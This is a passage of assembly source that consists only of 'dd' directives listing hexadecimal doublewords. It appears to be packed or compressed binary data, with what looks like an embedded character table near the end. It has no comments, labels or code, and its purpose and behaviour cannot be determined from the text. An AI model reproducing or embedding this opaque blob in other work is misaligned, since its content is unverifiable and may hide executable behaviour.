0E800C3BDh, 0C082B185h dd 4C00E024h, 0C83821C4h, 391D811h, 547C2234h, 0CDC0F426h dd 4907B419h, 11D40143h, 88E02877h, 2C6894D0h, 1DAFC818h dd 0BD803A14h, 0C4220CD3h, 0C0E84C47h, 0BC4E9EE9h, 0B80A7C3Bh dd 84484453h, 0BC50BE3Eh, 18289FB0h, 8499AC9Fh, 7CF9A83Eh dd 479FA4F9h, 3CB04FA0h, 90AC9CAEh, 10FC9824h, 78FC94FCh dd 0E1F8307Eh, 900E4C4Bh, 8824A784h, 0F114F056h, 800238E9h dd 7C1CA783h, 0CA5A0F3h, 74240CCFh, 70FAE0FAh, 3CF2D8FAh dd 0B0676C7Eh, 24E7681Ch, 74E764E7h, 0F26030E3h, 0C65C0518h dd 58095C5Bh, 1560888h, 8E38549Dh, 0EFC50D0h, 4C225346h dd 48AAB86Ch, 0C6C020F0h, 6DE81044h, 0ACA1FB3h, 709DE70h dd 0DF90722Bh, 0FD8A2700h, 3F000838h, 4E491C13h, 1E419D46h dd 3D0A2E2Fh, 0AED07404h, 138680ECh, 0F90045F3h, 0FE172A82h dd 35425CCh, 57D0764h, 80BC49B8h, 221D7E20h, 0C48C700h dd 910F9650h, 7D801D02h, 3720110h, 606023FCh, 770FD9C3h dd 0FE2D7BB2h, 0E0BBE3C7h, 0A07FFF60h, 73020031h, 0B48D1003h dd 82033C40h, 0B3CCAA9Ch, 0EBA480F3h, 75FC23h, 3B60FE7h dd 0FB80105Dh, 8074013Ch, 977040Bh, 75EBFCCh, 7EA2C53Bh dd 0FFABF002h, 0DC009D14h, 0C78B5989h, 251874h, 46951AD8h dd 83033365h, 233E2475h, 3E880009h, 0AAC0184h, 0F757FC0h dd 0C3D1C22Ah, 86E68160h, 2E001445h, 8F2AA2Dh, 0B3072F4h dd 33E44D98h, 80000DF0h, 831F7F0Ch, 7CFDF9h, 0C90B1A1Eh dd 0AA4E1C59h, 58026B00h, 5AA04074h, 0F7F600F4h, 3D20D96Fh dd 1C76EB8Bh, 4218E400h, 0FC197491h, 0F85000E2h, 8A2A1508h dd 280123E0h, 650EAB66h, 5F94807h, 0D20BF4h, 0E05F5EADh dd 62A42BC0h, 0D0E7EB2Ch, 29258A00h, 24D28B8Ch, 0C1AB49h dd 1C2BB487h, 0EA009F08h, 5A029804h, 1E2845B0h, 0E65D8Ah dd 4AE455BFh, 0DD000AAAh, 0EBD23268h, 908AEFh, 0FA7067Dh dd 0BD5DDAF7h, 0B1E4A80Fh, 0AAC4C001h, 8B5092h, 0F73285DCh dd 0F1532035h, 1E00BA74h, 0A10B4943h, 50EDD5h, 0FE18E9B2h dd 3BAA030Fh, 58F834C0h dd 7CEC7324h, 0FA83009Ah, 0BA052712h, 0E200154Eh, 41ED499Bh dd 128EBD6h, 8122DB33h, 0C07FFC4Bh, 0B30048C1h, 8AF3F603h dd 7043DC2Bh, 7449008Eh, 0F4754B0Dh, 5F00A04Eh, 0EB3231F8h dd 0C552EAh, 0E3FFB01Ah, 4A73CF09h, 65070CE6h, 2B27F975h dd 0C3F726A0h, 0A9908Eh, 325B891Dh, 645246A4h, 0F1220B03h dd 80040F21h, 76D93Ah, 0CCE9027Fh, 9C128DDDh, 49A79B00h dd 0B048B97Bh, 7A03008Ah, 1E740E3Ch, 0C9005351h, 4A290F24h dd 7C28812Ah, 0E80C008Ch, 0C8E4E590h, 7300D820h, 43595B04h dd 0ABDCE2h, 7A35F9C2h, 0E5F897DAh, 0F1054A1Ch, 64C02F00h dd 982A24C3h, 9D0200E6h, 20A60BB7h, 0D61FFD17h, 7F802826h dd 1A2D5129h, 1FB507F7h, 0AB6DBE05h, 8FBF520Fh, 7E471CD4h dd 2EE8A0DFh, 380E46FDh, 6F20DA13h, 0B267C08Dh, 283310h dd 355D2927h, 46C966D6h, 825B4007h, 1D90D957h, 70698B49h dd 0B0700C8h, 9044724h, 4F0EBA3Bh, 0F6E9C19Dh, 0A78F6800h dd 770B08C5h, 1673015Dh, 1B28DE4Fh, 578DE453h, 0E83EC898h dd 0F176260Dh, 0E26CBA00h, 1F13F44Bh, 0C0900732h, 89B934EDh dd 0D2582B80h, 0EAD50023h, 0BFEE66ABh, 0BD42010Fh, 744A3D18h dd 1D396017h, 1198F205h, 0B50075D1h, 1A7E5216h, 143900A8h dd 0FC9E16Ah, 9B002AD3h, 0E89533FCh, 0E21EB54h, 16C334C8h dd 3CB5B320h, 0E500E3D2h, 0F0FB3BDAh, 2EAE05AAh, 1ED5AD77h dd 804E8037h, 0E3087555h, 0AC1D0300h, 2474273Ch, 0A22201A3h dd 10966920h, 0EF56FCF3h, 8AEDE20Fh, 419C006h, 450B6Ah dd 2602900Dh, 0AC07C0C3h, 0A5C43A0Fh, 0F71B64D0h, 0FFA3FC80h dd 0BBA8032Ch, 8E894985h, 0CC766A0h, 0B120BF00h, 0F8553388h dd 0EF40006h, 267423A0h, 8F0E308Eh, 572E0F25h, 32BEF400h dd 0E35C133h, 45C73127h, 65803A4Eh, 0F89636C6h, 8B03467Fh dd 4240EBD7h, 0D34CB8CEh, 0A0716Bh, 0CACDF3DAh, 0F483C7F8h dd 6607E800h, 5589C1ECh, 33580063h, 1F8A205h, 2200B6EBh dd 1419AF71h, 2DAE95h, 832B3D93h, 0F445C6A1h, 0C1EE0100h dd 96EBFB19h, 9DEC0058h, 3519B6Bh, 0BC052D17h, 9C17D0Bh dd 4E0DC103h, 0DC0488E0h, 0C393E52h, 0C35BE400h, 84432A12h dd 0F8290500h, 0D213EC48h, 0FC0000Eh, 217A4F66h, 3501E41Fh dd 742B1856h, 0DCC8BC65h, 0BD80080h, 5CA3F0EAh, 20005D8Dh dd 851C25Fh, 6095CFFCh, 27CE5289h, 0F3EAB48Bh, 22EF9100h dd 241A441Eh, 12200E89h, 4FA00F53h, 0E8D4A380h, 8077733Eh dd 0C6B758CDh, 3E02BDDh, 260DF47Eh, 0FEC0FC80h, 2D000A81h dd 0E432DC75h, 85C83Ah, 31465C41h, 88F9A465h, 0B705CD00h dd 8A538490h, 54EE00D6h, 51858DCFh, 2C00ACA2h, 88EB5B0Bh dd 0C3A499h, 82D8DE42h, 617C1B8Ch, 8F94FD00h, 0A14DFFB5h dd 0EBF60075h, 4745DD0Dh, 0DC0035ACh, 7EE4C403h, 41EA12h dd 244329C1h, 4B540B1Fh, 2C7FE0F6h, 37013172h, 221AAE66h dd 6F606CE5h, 9E89001Eh, 17D52675h, 83004845h, 0F7E0B55h dd 13C905B2h, 8D1EF2h, 0BF3306D3h, 4948AA58h, 1AC80029h dd 38B46CBCh, 2E9500F9h, 1B78ABADh, 793C876Dh, 84D8096h dd 0FA463A8Dh, 25D00024h, 298549F5h, 700133Dh, 81668001h dd 34067Eh, 404C039Fh, 43C61D05h, 0E918B800h, 2EDB63EAh dd 0B92D004Ah, 0C0690BB4h, 830E4010h, 0A7ECF8C1h, 4420099Fh dd 0B8D2A3D7h, 0E17371h, 0B7C7CB5Ah, 2DDBFC70h, 99BA3000h dd 9B24D879h, 3A7500DDh, 0A0F76616h, 17034144h, 35DA0974h dd 0F8E180AEh, 0E67501DFh, 37B0C8Dh, 6F40FEBAh, 440E8A0Ah dd 0CFE515h, 0F887E8C0h, 1C0F00E4h, 68300566h, 5400B8D4h dd 0C032EB09h, 73AE03AAh, 89900F8h, 78477B79h, 0C4003B82h dd 8027B10Ch, 30FF830Ah, 7F0E7312h, 3501F87Ch, 0C63725FEh dd 4FC00E44h, 160D7A78h, 0B01311D4h, 0EB26ED74h, 0A101261Fh dd 624431A6h, 7BF8020h, 25999392h, 8221A319h, 0E384F1B8h dd 3A1B5600h, 80EAC1B9h, 38900D6h, 0C3025388h, 61C5C94h dd 2EC78BEEh, 0C8E00475h, 3F0FCA0Bh, 69BFB484h, 0FB792F80h dd 35FDA6CFh, 0E582EA03h, 0D0C363FFh, 4F64Ch, 0BF1F7C12h dd 2D41CE21h, 64088000h, 0B3DA81A7h, 0E00200B6h, 49F2730Dh dd 0E03A405h, 13EE24D2h, 0F46AF0A6h, 6D75DFh, 2A82B8D7h dd 6B40C22Bh, 8034DA3Bh, 0ACF51C85h, 9B5FF2h, 521BD4F0h dd 0F650F7B9h, 1E860D07h, 0C032EE7Dh, 75E4C0C4h, 0E649001Fh dd 39EB3DECh, 400C185h, 203CAA30h, 147D6A9Dh, 0A1362122h dd 4EEA4C1Dh, 13A08D05h, 0C6088103h, 0D5410700h, 0D1423F80h dd 0B9AA00F7h, 0EB1F0FCCh, 6300C1F2h, 0FB4588D2h, 58CD574h dd 5C8406F1h, 9B54C0F0h, 0DD007D4Eh, 5E2DB0Fh, 5F3A2Dh dd 0E8EE8389h, 0C1097A75h, 0FF803E00h, 0A05B786h, 527E898h dd 0C544601h, 0E706C73Fh, 0CBD86970h, 0A965800h, 0A412461Dh dd 3B030007h, 164A74CEh, 0DF05242Ch, 0C6010F17h, 9CE88CC0h dd 582B0F85h, 4300D003h, 2E096EA9h, 0B9C28B38h, 7D4A9E8Ah dd 0F91A3E40h, 25081h, 3029E0D9h, 3FDF0407h, 0DBB7EB00h dd 0C57F9B47h, 0D6A94C66h, 4E90171Fh, 0DD40E804h, 8A5250BCh dd 16D283Eh, 0C30B779Bh, 20E899ACh, 4ECA0043h, 0F3C427DDh dd 0F0053A2Ch, 260F730Ah, 49291380h, 0CE820043h, 5245B806h dd 13001CEAh, 0BC140E8Ah, 0F619DB3h, 2AA99428h, 0D26BE440h dd 900740EDh, 9CF4FA81h, 720A53h, 0B5021438h, 88E4F25Eh dd 0F4708C00h, 850F8065h, 1F68B861h, 876EDFE8h, 3068D30Bh dd 0DC6014B8h, 0BE15B900h, 6CA7BAF2h, 5F5A0062h, 0B85B89C4h dd 0B90016D1h, 0A8155107h, 0E210A72h, 0DC021034h, 2CA2007Dh dd 3D135929h, 65577B1Fh, 8A1F52C0h, 35C1590h, 44A27443h dd 21D80C11h, 0CC0FD314h, 208A7354h, 2C08E40Ah, 88850004h dd 0F85164FCh, 0EC00210Bh, 1450D862h, 0F197C442h, 0F8CB2C0h dd 0BCCEBF3Ch, 40839C7Dh, 0CF1DF42Dh, 9077301h, 315260B8h dd 8F224B10h, 91800054h, 0A1176715h, 0CE48B6A0h, 631E0093h dd 6E4B98BAh, 0D4463D8Dh, 0B00683Fh, 3F11316Bh, 0FF7F1469h dd 36767460h, 1F41695h, 7178302Fh, 0F0C142F8h, 0AB7EB81Ch dd 57989C00h, 9FD4B0C8h, 66450B70h, 0D200F73Ah, 9495F3C5h dd 0DCA3D12Ch, 3960F501h, 6FD57D49h, 93135C0h, 0F71EE3DBh dd 5C8A5800h, 0C101FF0Ah, 0D8E818CBh, 0D1C008B3h, 57300E0h dd 71064135h, 8000DB4Eh, 0E6E2F3BBh, 34238D6h, 38B61CCh dd 9280E775h, 0A003E9F8h, 85D8698h, 0C6DE973h, 10F090E3h dd 7C1700EBh, 3C0B538Dh, 0DA075012h, 4DFED173h, 0F8DC9EE0h dd 7C370D7h, 0F685F263h, 6DB85376h, 0CA8024F3h, 6800E9C1h dd 0F92F83E3h, 0E0B75603h, 76B0FAh, 0DD0FFFE7h, 1D72E26h dd 0C73BF800h, 98682177h, 10E6007Ah, 0A71406CFh, 490073FAh dd 0D05AF4D8h, 0FCE83180h, 4497007Ch, 3902BFEDh, 96091CEBh dd 87722921h, 1097E346h, 4EF0CC07h, 8B9D75h, 0C94C850Bh dd 0FF7A1AD5h, 0E500DFFAh, 7582DFBh, 62B491h, 34478DF5h dd 0C0A60411h, 0D851D9F7h, 0E0004B0Ah, 4E86FE38h, 0F81DA9F2h dd 0D1E9000Ch, 0E808F482h, 5027E47h, 0CB113256h, 0DF0EE07Ch dd 0F920021h, 0F972958Fh, 5502E330h, 0F8FC8A22h, 0AC7E60EAh dd 0DB3B037Ch, 8D9E34BAh, 881E3DB8h, 0C30053E4h, 0D50FE0A9h dd 661028Ah, 46474307h dd 8100BA3Ah, 0AEE87570h, 41BC74h, 51048B09h, 2E108A26h dd 0CA90E000h, 0DF10332h, 8102000Fh, 433CDCE6h, 0EF48240Ch dd 8880087h, 14BC11BAh, 40472E03h, 0DFD90075h, 563798Fh dd 0B939420Eh, 7D84A08Bh, 0EC1A41h, 0DF5D8955h, 0B11CB414h dd 19BAFF03h, 0D0D33502h, 0BC3CEAh, 0BD469D57h, 0C9A4D89Eh dd 854B8000h, 43767CDBh, 334200B5h, 0C16DE475h, 80014102h dd 0D06CFFE1h, 14E4D907h, 0E2A50018h, 1C1E0A5Fh, 5D008884h dd 650F85F7h, 1E12038Ch, 0F183C8Dh, 1FE0302Ah, 10AE2E5Bh dd 0AC24A603h, 0A8026321h, 0CDE380h, 76E03217h, 34F06175h dd 0B60F330Bh, 695080DFh, 3F831A2Ch, 1B007D79h, 0D4FF3E62h dd 0EC5C4D99h, 0A8451DEEh, 88F4FC40h, 5043A5B0h, 75D09E8Fh dd 44853BACh, 89EE3400h, 97626AE0h, 0B45EF000h, 3B800602h dd 0D0520E5Ch, 1BF2BB5h, 0CC9D7E0Ch, 9CF9CCFAh, 0EF504400h dd 12D8BCAh, 0B3620040h, 5615CE7Fh, 0E016C3EDh, 6D005FC1h dd 38F42430h, 3EF7725Bh, 1A003462h, 9693DE86h, 9E00C902h dd 0E3D64149h, 796F4EA3h, 8A310EC2h, 10E05B81h, 0F82708A5h dd 713ACF05h, 2BC0B041h, 90FCCDh, 0C3849317h, 439FB5Fh dd 5AA82600h, 0A24E0EE2h, 21D2384Fh, 0A91748Fh, 0C03BE687h dd 198E9ABCh, 0A8020801h, 0A15FA4BDh, 4DABD0h, 84186086h dd 0B12CB091h, 5EC9400h, 424CF42Fh, 0A91C00DDh, 56B2CCB3h dd 0CEB0BEF7h, 18B8BB09h, 4834004Dh, 0EAA835Ch, 4E44F41Bh dd 4F36E6E0h, 590FACB1h, 0A330BFE7h, 0A8A53AA4h, 532935h dd 7FFF0C44h, 65D5D01Bh, 835E2F00h, 0F8D45585h, 2A950087h dd 0D3F19325h, 91077BE2h, 0AF5681F4h, 0AC2013F7h, 789CB442h dd 8C7B64h, 2F7589DDh, 704963FCh, 6A244800h, 0A47A8203h dd 5AD30E73h, 0E241BA7Eh, 0DC87DD8Bh, 0C300F5DBh, 0E1081FDCh dd 78AD422h, 49536CF0h, 75BC2040h, 89EC6648h, 450036F8h dd 2F841BFDh, 0E6C583h, 4A29EFC2h, 0C802D7DBh, 0AA067600h dd 0AE6A38A8h, 2775004Dh, 88BC9345h, 0BE001869h, 38084604h dd 0F8D8A1E8h, 0D0260010h, 7F0121D3h, 52000A93h, 0B9C4A4B3h dd 0F522FC9Bh, 1026AE4h, 7DBE54D2h, 0F84C05DAh, 0B000B356h dd 0E070632Dh, 3E36426Fh, 0A600EBE2h, 0BCAE23C2h, 4F007405h dd 49E8B895h, 0A4722Eh, 70B23824h, 47C0AA40h, 0C8905200h dd 0AB2517E8h, 3EF217A5h, 149B00A9h, 2EEC8D99h, 2FD79400h dd 9AD304A0h, 61F30E1Ch, 830F7E2Bh, 0DF804349h, 1B326BCh dd 805C0B3Eh, 0E80D8486h, 79A14660h, 8C2D1E64h, 0FCD68032h dd 65EED778h, 860ABF00h, 157EE854h, 6A300075h, 14BBE5E6h dd 0A600E38Ah, 0E42C5616h, 88F95Ah, 282D124Ah, 0EA9D5965h dd 0D871AE00h, 0E7941962h, 3B52B874h, 0A9D20A1h, 6B9788h dd 0B7605191h, 0FC00EEC8h, 49C93C31h, 753CA16h, 0AC6A40FFh dd 0E988F030h, 5900D03Fh, 6B6F217h, 0E8EBD19Ch, 4ED85C1Eh dd 20350700h, 0F381C083h, 3EDB800h, 0EB75CEFEh, 91C10031h dd 0D5DC4FDAh, 0F7032D5Bh, 7D43F8D2h, 0FCC0C0D0h, 9933CD7h dd 47A46180h, 8264E259h, 0DADCE800h, 0F5D0147Fh, 5298012Ah dd 0D395423Ch, 0D7DDE8ACh, 0E7B4F301h, 0C4464A71h, 14B3A5C8h dd 94038398h, 8D5B1800h, 0D3702197h, 4EAC100h, 0C05A92F8h dd 50550090h, 0B0A2C601h, 27002ADEh, 320A0F2h, 2709217h dd 10516871h, 43405A24h, 0CA008BE8h, 6002B1ECh, 3FDF1638h dd 0F2817D47h, 0F72622BFh, 35EF3043h, 1901E57Eh, 0C82051F1h dd 0CA319197h, 1E7795FCh, 0C028AEB5h, 5A05564Bh, 400BAF6h dd 0FA023A60h, 38CE8980h, 468007EBh, 10FE8342h, 0B200F1B7h dd 0E7F75EC1h, 7DFA998h, 4744432Ch, 0B0889754h, 4B31D772h dd 22D8D100h, 0F88C0779h, 0FF83004Fh, 0EF807C05h, 0C00003C7h dd 8AFC92A0h, 0A80450h, 25854A47h, 4411303Bh, 8E01023Dh dd 40E3C112h, 688C336h, 5FB80046h, 0ABD17594h, 1A76EEB2h dd 0AF769700h, 0A09C4072h, 0CD050727h, 3001BCC4h, 5A04847Fh dd 4CF35B3Ah, 30580ED9h, 5C80FE94h, 0AB08143Ah, 0CBD500A4h dd 589CB32Ch, 0C8B88E96h, 50348400h, 8BDC23BFh, 896E0073h dd 815460C6h, 41079996h, 3B1F74F6h, 2028FFC0h, 0B17B009Eh dd 958D0F63h, 0D4002F47h, 58B9E2CEh, 0B05221h, 2096A3C4h dd 0B702BAF8h, 7966BE00h, 0DA309C8Bh, 0AE2C1D52h, 47D81E9Fh dd 908F95A5h, 97423BA4h, 0D60096EEh, 7F200DACh, 1308C8CAh dd 0F5E6B88h, 0B0A7B20Dh, 0B981D01Fh, 94069C43h, 0C21679E5h dd 7EBE723Eh, 54681DD2h, 857040E3h, 8C75BA5Eh, 0DC9C0900h dd 1FF2E211h, 97E612h, 0E4222F39h, 1EF88380h, 0CB5D7500h dd 0BAD9DE9Ah, 166C1326h, 0E45D0041h, 0A334B795h, 0DE5CB402h dd 40295948h, 516D90h, 1A2E42A6h, 83680311h, 100D5700h dd 3B28842Bh, 75073CA2h, 8DFE8B00h, 62F2DE55h, 0A5F30E09h dd 5BB60066h, 974EF9h, 99E77CA2h, 70B9B896h, 0A8E09200h dd 3FFC8A8Fh, 0C4EA07EFh, 0A0F5525Eh, 3B8195E7h, 1E274C00h dd 83A7685Ah, 64880435h, 0C0FEB3BDh, 0B9D41AD0h, 96D32600h dd 0F720AA32h, 0CD1C0EEEh, 616FD016h, 0D4B8823Eh, 26C006DEh dd 74062B9Ah, 0D97D9F02h, 21A40086h, 102A2235h, 0E03F993Eh dd 0FF73A80h, 20285874h, 419D424h, 0EFE800DDh, 0DBE3FCC9h dd 1E002050h, 6AD946D0h, 196D616h, 0EBA83359h, 0F02848A5h dd 79002D55h, 0BAFE311Ah, 0D19358h, 0CD21EFB8h, 882E8607h dd 980C3300h, 924599A6h, 14ED1D87h, 1700BCA1h, 0FE9AD054h dd 0B803A24Ch, 0B12F85DEh, 0FB14E8C0h, 3DA8008Ah, 7C503B41h dd 637BE1F7h, 0FF44D300h, 0E0CC527Eh, 0C9300B4h, 8A7BB890h dd 0C748E97Fh, 92790088h, 72DD1748h, 21150E44h, 4409A49h dd 0B832FB13h, 7774E1EAh, 2DB49203h, 0F016A422h, 5121DBh dd 4DD954DDh, 0FFECBF18h, 2600877Fh, 64081E91h, 1CAB519Ah dd 5E108F14h, 0B4890050h, 48D4217Ch, 0F40BE300h, 0FFB10C8Ah dd 1E960A25h, 0E56141h, 82B63904h, 0F91C7549h, 55F2451h dd 0D31C9018h, 21993A12h, 0A9B5780h, 17706B7Bh, 0EC000EFAh dd 0BF9CF00Bh, 0F015FAB8h, 6FD89568h, 51D09703h, 0C14AA0F4h dd 7D01077h, 0E48C079Ch, 0B7A7F660h, 0C9306014h, 0D3752AE0h dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8868DCh, 0BF3A429h dd 8B3474AAh, 5E101600h, 54DC899Bh, 0B9565021h, 4A011DC4h dd 2D59417Bh, 60AD4E0Fh, 0F000B6B3h, 0B4DBDA3Bh, 0E4F83F8h dd 0F37003C0h, 0CEFBF660h, 0F7001B79h, 5AF1345h, 3997E853h dd 1680E5D9h, 1022ACF4h, 30008567h, 70011D46h, 0D5CBF8h dd 8B4C75Dh, 4B3BC933h, 10692A00h, 0E0A49C66h, 0A9020041h dd 4326C372h, 0C007873Ch, 7D8DFC59h, 0A7F0FE87h, 306110Fh dd 7F3C08E2h, 0D2B8420Ah, 6D740C2Ch, 30B8C800h, 0F46CEEE4h dd 171300C7h, 58EC5DE6h, 0F17795B7h, 0E03DDC7Bh, 0E54A009Ch dd 14DE76AEh, 0F8BA0037h, 90A3D431h, 21007569h, 8B9AA1FFh dd 3B0694h, 16787B82h, 0AF0C733Dh, 8019C63Ch, 43B464C8h dd 7C104Bh, 9C5CE749h, 996BE9EEh, 7022D01Ch, 54010783h dd 4C65B079h, 0C2620069h, 8E998C9Ah, 7500E9D9h, 9D43800Ch dd 7C760A92h, 4AC903D3h, 9C91827Ch, 0F2DF24E0h, 687D222Eh dd 1F028B00h, 352838Fh, 760318C9h, 73880A1Bh, 89001601h dd 0B9560C5Eh, 0FEA974h dd 822A4F20h, 9D87D89Bh, 0D4E49600h, 95DDEEB7h, 0E4470C7h dd 49534C43h, 0CEB55CC0h, 0A100A2ECh, 0FF09E91h, 904AFC21h dd 87921h, 54D2C14h, 75FF2911h, 34F7C400h, 6492108Ah, 79A750Fh dd 8C846ED4h, 3607799Eh, 5E7E50A4h, 0B9771942h, 1F4D9D3Eh dd 350093C2h, 0AC919CA8h, 83E0069h, 5D208B95h, 0DC1C0633h dd 104021BBh, 9F30119Eh, 630A00A9h, 169B054Bh, 48F485E8h dd 2717AF00h, 0A3553D9h, 20F05844h, 96AAB700h, 70431C55h dd 809D423Ch, 2B610B46h, 0FE19F40h, 5E69C3ACh, 6D8CEAE0h dd 9C005A0Eh, 7910BD93h, 3A6FC69Fh, 3C87AA24h, 0C0A9E172h dd 1BD9E539h, 77E45000h, 0CF71B68Ah, 5D1A0097h, 0DE534317h dd 0C00742E3h, 0B1232C92h, 0EC2D9F60h, 690900DBh, 80AB6865h dd 0C40081E1h, 23A36FB8h, 470A5Eh, 0F0270B9Dh, 0F806CBFEh dd 0F553CA00h, 0CE7DAA81h, 256B0251h, 2983AF5Fh, 0DE989D40h dd 0A1424D00h, 92EBE8D3h, 0D2AA3B01h, 8D189300h, 3360BA46h dd 5813483Dh, 1B5B0FE3h, 0FF9D0016h, 7F51D55h, 380D4595h dd 0BA2501Eh, 0BC006164h, 114AAB3Ch, 23EFCEh, 26C4A9F8h dd 0DA15275h, 4B6CBA3Ah, 370106FCh, 9D63F04h, 0EE01DCBEh dd 4CB86D00h, 0E636C2BFh, 506F0017h, 0BCBC931h, 29004572h dd 25F4550Dh, 126923h, 0C7A413EBh, 94C94C33h, 9C87B306h dd 17A0F14h, 7A20A92Dh, 0F213A59Ah, 0D8B6EB40h, 8AA1541Eh dd 0B85F8DC0h, 3BA1Ah, 0E0E5C19Bh, 0B9CB1B3h, 1D5C0100h dd 122CA664h, 0A9343BD8h, 8A7AD602h, 88E09061h, 3907F80Eh dd 708D10DEh, 4FE68099h, 161B2DE2h, 13504193h, 4A900369h dd 84DB09C2h, 0C6B0DA8Bh, 2B5C6AC8h, 0C7A60046h, 1322767Ah dd 0B0EC095Fh, 1B8FD8F2h, 75A0F80Eh, 0FA685DAh, 0A2614200h dd 2E46BD14h, 27D20092h, 5518F43h, 8E24A788h, 4500952Dh dd 3620EA11h, 0E855020Bh, 0D9916F27h, 61E0C5E0h, 48754E00h dd 15B71FD4h, 0C5E701A2h, 8BA4B2E4h, 0C031F8A8h, 702D903h dd 0E0149765h, 45889Bh, 9E25AF26h, 0A35F2DB6h, 0A0139600h dd 4A840F7Fh, 0FC8C0390h, 7B382780h, 39F1EBC0h, 798E6B01h dd 827775A4h, 843270h, 96B1CB10h, 1132C6E1h, 0CE26990Eh dd 9FAB36h, 0E53BAB4Fh, 31680CB2h, 0CD106A18h, 7B43D900h dd 0DD100CAFh, 0DA041674h, 0F9F500EBh, 2064324Ch, 0AB03D900h dd 0A2A0575h, 0F1558AFh, 13C33B01h, 0FC8A3210h, 0D900F834h dd 31669EDh, 0A3662Fh, 59AF6D35h, 96A479Ch, 802CD0Fh, 0F871A0FAh dd 50314A0Ah, 1A8568h, 1C442188h, 89C18CE9h, 533E4300h dd 94424BF0h, 0F47E006Eh, 557A96A4h, 760E54AEh, 4051F843h dd 0FC294A73h, 0EE6200B2h, 0C1B117A4h, 0A2F0A508h, 0BE768A09h dd 1C1B0292h, 4185DD72h, 0A598033Eh, 0F7D8F822h, 8E0CD608h dd 10DA0DFBh, 9159000Fh, 0B558F94Ch, 0EF00FAE7h, 1F4BBA31h dd 7071523Ah, 926F0005h, 402C3E2h, 3D0043C6h, 47F49E01h dd 3844A7F5h, 0A502E3E5h, 80E8B094h, 0CA5DA640h, 9FF9D400h dd 0FCF0DAC5h, 0BA25051Fh, 81AD454Ah, 0E8B5B0D9h, 0D0A20A5h dd 0BBDD1CB8h, 27612900h, 907AD02Fh, 0BA120052h, 56DAA590h dd 8D05FB02h, 0B93E2474h, 5099C800h, 6CCE5Ch, 9240B32Eh dd 845360CFh, 5AC02100h, 0AC4F0A5h, 0EF883ECBh, 1B00780h dd 964F24E9h, 549B2805h, 45C010E2h, 33C995h, 3F8C175h dd 3D88BD2Eh, 1C2E4358h, 90400827h, 400C222Bh, 89100014h dd 66A60718h, 0A1C7511h, 0EBC012DFh, 80943346h, 1D4800CFh dd 3A097414h, 1A07BED6h, 42912A7Dh, 851218B7h, 0D4DF41C6h dd 7EC59C30h, 93107E3h, 4005896Bh, 657540B9h, 0E0147000h dd 0BAF2A8C4h, 0D6521CF6h, 0CD088FC6h, 0B1DD9A40h, 163FD861h dd 0EC500501h, 59801046h, 0ED6403Bh, 0ED097504h, 585A85C0h dd 0B003D76h, 7E0CE2EBh, 0FA2A505h, 9C19EF1Dh, 77C00A22h dd 4233D740h, 10537307h, 408F4D7Dh, 0E321464h, 46D70099h dd 620ADE19h, 3C004EA6h, 2B7FFF3Eh, 0FD4D68Bh, 5549EBAEh dd 80564BE7h, 4C9DC29h, 0FF2A03Ah, 60C27305h, 0D269D7EDh dd 957036Ch, 9635BAC3h, 0C8909191h, 0E2009E20h, 89282F40h dd 2C0233h, 24C08530h, 94953C76h, 32240E71h, 600D137h dd 3B091A53h, 87601C2h, 7126E24h, 2BD3C8EBh, 303DD00Eh dd 7BA68053h, 75A50E51h, 820F1FFBh, 88A343FDh, 38A85043h dd 3690C408h, 6B5E5800h, 52DB4DFFh, 8429030Bh, 39119FAh dd 0AC435AF0h, 48144600h, 8F320A73h, 62B5243Bh, 1FB0014h dd 7DBE40C6h, 7B800900h, 37715E30h, 0D3A800C5h, 0D80C9302h dd 0A9002C1Dh, 0E0DA8255h, 17BF419Eh, 98516BCh, 410E1057h dd 75180A60h, 8A74DCD3h, 2D728400h, 0BA277C21h, 1E527439h dd 81541C88h, 7D140E73h, 0AFC0E695h, 0ED00CB42h, 921CAE52h dd 1F50BC98h, 0C31421A7h, 0F8A8B7CFh, 5C6ADCB0h, 8ACDA200h dd 640D1172h, 257627h, 0D06E3123h, 986B9ED6h, 89D44C00h dd 0B3E71CC6h, 57880192h, 37754296h, 80E62069h, 0C606E600h dd 0EB013246h, 397B53h, 0C5AE932Ch, 0C2B6815h, 3448C80Fh dd 339C1D19h, 0CE8B0F00h, 0FA1DA6h, 6CC2E197h, 4E40437Ch dd 680044E4h, 0B141FECBh, 6F88EAh, 2C463415h, 90E00B94h dd 44015C01h, 0EAD63527h, 78AC1BD4h, 0C131004Ch, 0E4305DFh dd 12005A01h, 0B729B89Dh, 1DAA0D10h, 836EC2A5h, 1478F4D4h dd 0F84585C9h, 0D62618FDh, 0E800CFA3h, 74FF0BA8h, 0F653173Fh dd 37D203E2h, 0FCE009E5h, 0A800D916h, 909ADAFBh, 0E042418Dh dd 45440143h, 49484746h, 4C4BC04Ah, 4F4E4D00h, 12525150h dd 55543853h, 59587E01h, 0C062615Ah, 65036463h, 69686766h dd 6C6B806Ah, 6F6E076Dh, 727170h, 76757473h, 7978770Eh dd 3130007Ah, 1C343332h, 373635h, 2F2B3938h, 2438203Dh dd 5B290028h, 2C7D7B5Dh, 0B03A703Bh, 2A5C03C8h, 0A092722h dd 10C80DB8h, 0CAD25701h, 42572FBh, 48D03A8Fh, 0C120B4E0h dd 0F10160E8h, 9E78336Fh, 0D2F4FCD4h, 88F021h, 8B2D0AACh dd 85090F5Bh, 0F782DB04h, 0E9C00136h, 0E6FC70h, 5C80B515h dd 0A8E96ECFh, 0A58A4A1Ch, 713600BBh, 0B7897AEFh, 0C4FA3Ch dd 0FD240111h, 29A94B5Dh, 28F9B48h, 0D0CB39E8h, 4D5DE0D8h dd 7D3E2ECh, 489AA90Bh, 63EB80EFh, 1901951Fh, 528AC0F1h dd 59F0BF40h, 652703FCh, 5EFBE2E1h, 89CB3AC0h, 0B92BCA00h dd 579037Ah, 0C8830048h, 0FBD040F2h, 9AE4CE52h, 0E6F08200h dd 3478BE7h, 0EFEB03C6h, 0DBE8104Ah, 0C029FFA1h, 7E0F925Ch dd 20336C09h, 0E635ABBh, 3BB9FCEBh, 60801441h, 0EFE806DCh dd 6AC0B69Ah, 0E7C1157Ch, 0F8ECE1h, 0FFFAB06Ah, 66E299A2h dd 0DC91D730h, 26464BFCh, 3DDEDA0h, 1E753B2Eh, 2BBCEA8h dd 0C7320C01h, 8804F468h, 0C11AC8h, 4046AAEFh, 36ADF07Dh dd 6E7E030Ah, 0ED008FFAh, 127C0113h, 246D006Ah, 947F0A6Ch dd 5C007BEFh, 1F69B568h, 347062Bh, 0AC8F0829h, 56D8E840h dd 0E200A288h, 95544CDCh, 0E6120F6h, 3A240C89h, 